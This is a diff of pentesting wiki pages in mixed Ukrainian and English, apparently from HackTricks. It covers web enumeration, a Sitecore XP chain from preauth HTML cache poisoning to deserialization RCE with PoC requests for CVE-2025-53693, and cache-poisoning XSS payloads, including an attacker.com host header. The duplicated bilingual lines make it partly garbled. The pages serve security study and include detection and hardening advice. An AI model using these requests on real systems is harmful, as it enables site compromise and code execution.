- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
Під час виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які слід звернути увагу.
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [Якщо ви знайдете _**.git**_ файл, з нього можна витягти деяку інформацію](git.md)
- Якщо ви знайдете _**.env**_, там можна знайти інформацію, наприклад api keys, паролі до БД та інші дані.
- Якщо ви знайдете **API endpoints**, ви [повинні також протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, будуть "виглядати" як файли.
- **JS files**: У розділі spidering згадувались інструменти, які можуть витягувати шляхи з JS файлів. Також корисно **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміни можуть вказувати, що в код було внесено потенційну вразливість. Можете використати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
- Також варто перевіряти виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) на наявність відомих вразливостей.
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- У багатьох випадках вам знадобиться **розуміти регулярні вирази**, які використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Ви також можете **моніторити файли, в яких були знайдені форми**, оскільки зміна параметрів або поява нової форми може вказувати на потенційно нову вразливу функціональність.
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +314,28 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**502 Proxy Error**
Якщо будь-яка сторінка відповідає цим **кодом**, ймовірно це **неправильно налаштований proxy**. **Якщо ви відправите HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з заголовком host та іншими загальними заголовками), **proxy** спробує доступитися до _**google.com**_ **і ви знайдете** SSRF.
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**NTLM Authentication - Info disclosure**
Якщо сервер, який запитує аутентифікацію, — **Windows**, або ви бачите логін, що просить ваші **credentials** (і запитує **domain** **name**), ви можете спричинити **витік інформації**.\
Відправте заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це за допомогою nmap плагіна "_http-ntlm-info.nse_".
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Можна **вкласти контент** всередину **редиректу**. Цей контент **не буде відображатися користувачу** (бо браузер виконає редирект), але в ньому може бути **схована** інформація.
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Web Vulnerabilities Checking
Тепер, коли виконана всебічна енумерація веб-застосунку, настав час перевірити велику кількість можливих вразливостей. Чекліст доступний тут:
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Дізнайтесь більше про web vulns тут:
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -341,7 +343,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
### Monitor Pages for changes
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет змін, які можуть ввести вразливості.
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### HackTricks Automatic Commands
```

View File

@ -0,0 +1,194 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning до Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
На цій сторінці підсумовано практичний ланцюг атак проти Sitecore XP 10.4.1, який переходить від preauth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Ці техніки узагальнюються для подібних версій/компонентів Sitecore і дають конкретні примітиви для тестування, виявлення та підвищення стійкості.
- Продукт, протестований на уразливість: Sitecore XP 10.4.1 rev. 011628
- Виправлено в: KB1003667, KB1003734 (червень/липень 2025)
Див. також:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth примітив: XAML Ajax reflection → HtmlCache write
Точка входу — preauth XAML handler, зареєстрований у web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Доступно через:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Дерево контролів містить AjaxScriptManager, який у запитах подій читає attackercontrolled поля і рефлексивно викликає методи на цільових контролах:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl є похідним від Sitecore.Web.UI.WebControl (клас Sitecore), і проходить через ReflectionUtil.Filter allowlist (Sitecore.*), що розблоковує методи Sitecore.WebControl.
Магічний метод для poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за їхніми іменами, ми отримуємо preauth arbitrary HtmlCache write primitive.
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Примітки:
- __SOURCE — це clientID xmlcontrol:GlobalHeader у межах Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML).
- __PARAMETERS має формат Method("arg1","arg2").
## Що отруїти: побудова ключа кешу
Типова побудова ключа HtmlCache, яку використовують контролі Sitecore:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Приклад targeted poisoning для відомого sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Перерахування кешованих елементів та вимірів “vary by”
Якщо ItemService (неправильно) доступний анонімно, ви можете перерахувати компоненти, що кешуються, щоб визначити точні ключі.
Швидка перевірка:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Список кешованих елементів та прапорців:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Шукайте поля на кшталт Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати через:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Навіть коли ItemService видає себе за обмежений обліковий запис (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount все одно може відображати preACL Solr hits. Можна bruteforce item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб створити карту внутрішнього вмісту й пристроїв:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Післяавторизаційне RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, декодує base64 і десеріалізує його, а потім вставляє отриманий рядок у HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Запуск (авторизований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Енд-ту-енд без кліків у UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Повний ланцюг
1) Preauth зловмисник отруює HtmlCache довільним HTML, рефлективно викликаючи WebControl.AddToCache через XAML AjaxScriptManager.
2) Отруєний HTML доставляє JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через потік FixHtml.
3) Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, що десеріалізує base64, контрольований атакуючим, через BinaryFormatter → RCE під ідентифікатором пулу додатків Sitecore.
## Виявлення
- Preauth XAML: запити до `/-/xaml/Sitecore.Shell.Xaml.WebControl` з `__ISEVENT=1`, підозрілим `__SOURCE` та `__PARAMETERS=AddToCache(...)`.
- ItemService probing: сплески wildcard-запитів до `/sitecore/api/ssc`, великий `TotalCount` з порожнім `Results`.
- Deserialization attempts: `EditHtml.aspx` після чого `FixHtml.aspx?hdl=...` і незвично великий base64 у полях HTML.
## Посилення захисту
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers або додати сувору валідацію; моніторити і лімітувати швидкість `/-/xaml/`.
- Remove/replace BinaryFormatter; обмежити доступ до convertToRuntimeHtml або забезпечити сильну серверну валідацію потоків редагування HTML.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; уникати шаблонів impersonation, які дозволяють leak `TotalCount`based side channels.
- Enforce MFA/least privilege для користувачів Content Editor; переглянути CSP щоб зменшити вплив JS steering від cache poisoning.
## References
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## The difference
## Різниця
> **Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?**
> **Яка різниця між web cache poisoning і web cache deception?**
>
> - У **отруєнні кешу веб-додатків** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
> - У **обмані кешу веб-додатків** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.
> - У **web cache poisoning** атакувальник змушує додаток зберегти зловмисний контент у кеші, і цей контент видається з кешу іншим користувачам додатку.
> - У **web cache deception** атакувальник змушує додаток зберегти деякий чутливий контент, що належить іншому користувачу, у кеші, а потім витягує цей контент із кешу.
## Cache Poisoning
Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
Cache poisoning спрямований на маніпулювання клієнтським кешем, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, неповними або під контролем атакувальника. Обсяг впливу залежить від популярності постраждалої сторінки, оскільки підроблена відповідь видається виключно користувачам, які відвідують сторінку під час періоду зараження кешу.
Виконання атаки отруєння кешу включає кілька етапів:
Виконання атаки cache poisoning включає кілька кроків:
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб забезпечити зберігання маніпульованої відповіді в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
1. **Виявлення неключових вхідних параметрів**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь сервера. Ідентифікація таких параметрів є критичною, оскільки їх можна використати для маніпуляції кешем.
2. **Експлуатація неключових вхідних параметрів**: Після виявлення неключових параметрів наступний крок — з'ясувати, як їх зловживати, щоб змінити відповідь сервера на користь атакувальника.
3. **Забезпечення кешування підробленої відповіді**: Останній крок — гарантувати, що змінена відповідь зберігається в кеші. Таким чином будь-який користувач, який звернеться до постраждалої сторінки під час зараження кешу, отримає підроблену відповідь.
### Discovery: Check HTTP headers
### Виявлення: Перевірка HTTP заголовків
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
### Виявлення: Кешування кодів помилок
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має код статусу 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
Якщо ви думаєте, що відповідь зберігається в кеші, можна спробувати **відправити запити з некоректним заголовком**, які мають відповідати зі **статусом 400**. Потім спробуйте отримати запит звичайним способом і якщо **відповідь має статус 400**, ви знаєте, що система вразлива (і ви навіть можете виконати DoS).
Ви можете знайти більше варіантів у:
@ -33,98 +33,101 @@
cache-poisoning-to-dos.md
{{#endref}}
Однак зверніть увагу, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
Проте зауважте, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
### Discovery: Identify and evaluate unkeyed inputs
### Виявлення: Ідентифікація та оцінка неключових вхідних параметрів
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **грубої сили параметрів і заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **brute-force parameters and headers**, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Викликати шкідливу відповідь від серверу
### Еlicit a harmful response from the back-end server
З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
Після ідентифікації параметра/заголовка перевірте, як він **санітизується** та **де** він **відображається** або впливає на відповідь від сервера. Чи можна ним зловживати (виконати XSS або завантажити JS-код, контрольований вами? здійснити DoS?...)
### Отримати відповідь в кеші
### Get the response cached
Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
Коли ви **виявили** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати та **як** його **зловживати**, потрібно добитися кешування сторінки. Залежно від ресурсу, який ви намагаєтеся помістити в кеш, це може зайняти деякий час — можливо доведеться робити спроби кілька секунд.
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не кешується, і значення **`hit`**, коли він кешується.\
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: `Cache-Control: public, max-age=1800`
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, яку він намагається націлити, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
Ще один заголовок, пов'язаний з кешем, - це **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **тестуйте** отруєння кешу з **різними браузерами**, щоб перевірити, чи це працює.
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
## Приклади експлуатації
## Exploiting Examples
### Найпростіший приклад
### Easiest example
Заголовок, як-от `X-Forwarded-For`, відображається у відповіді без санітизації.\
Ви можете надіслати базовий XSS-пейлоад і отруїти кеш, щоб усі, хто отримує доступ до сторінки, стали жертвами XSS:
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Зверніть увагу, що це отруїть запит до `/en?region=uk`, а не до `/en`_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
### Отруєння кешу для DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Отруєння кешу через CDN
### Cache poisoning through CDNs
У **[цьому звіті](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій:
У **[цьому writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій:
- CDN буде кешувати все під `/share/`
- CDN НЕ декодує і не нормалізує `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.
- The CDN will cache anything under `/share/`
- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **містить auth token**.
### Використання отруєння веб-кешу для експлуатації вразливостей обробки куків
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Куки також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.
Cookies також можуть відображатися у відповіді сторінки. Якщо ви зможете зловживати цим, щоб спричинити XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу кешовану відповідь.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Зверніть увагу, що якщо вразливе cookie дуже часто використовується користувачами, регулярні запити очищатимуть кеш.
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### Генерація розбіжностей з роздільниками, нормалізацією та крапками <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Створення невідповідностей за допомогою роздільників, нормалізації та крапок <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Перевірте:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Отруєння кешу з використанням обходу шляху для викрадення API ключа <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.
Це також краще пояснюється в:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Використання кількох заголовків для експлуатації вразливостей отруєння кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Іноді вам потрібно буде **експлуатувати кілька незахищених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
[**Цей розбір пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) як було можливо вкрасти OpenAI API key з URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, тому що все, що відповідає `/share/*`, кешується без нормалізації URL зі сторони Cloudflare, яка виконувалась, коли запит доходив до веб-сервера.
Це також краще пояснено в:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Іноді потрібно **експлуатувати кілька неключових входів**, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти **Open redirect**, якщо встановите `X-Forwarded-Host` на домен під вашим контролем і `X-Forwarded-Scheme` на `http`. Якщо **сервер** перенаправляє всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як домен для редіректу, ви можете контролювати, куди веде сторінка через редірект.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Використання з обмеженим заголовком `Vary`
### Експлуатація при обмеженому `Vary`header
Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження JS-ресурсу**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:
Якщо ви виявили, що заголовок **`X-Host`** використовується як **domain name to load a JS resource**, але заголовок **`Vary`** у відповіді вказує **`User-Agent`**, то потрібно знайти спосіб exfiltrate `User-Agent` жертви та poison the cache, використовуючи цей `User-Agent`:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +136,7 @@ X-Host: attacker.com
```
### Fat Get
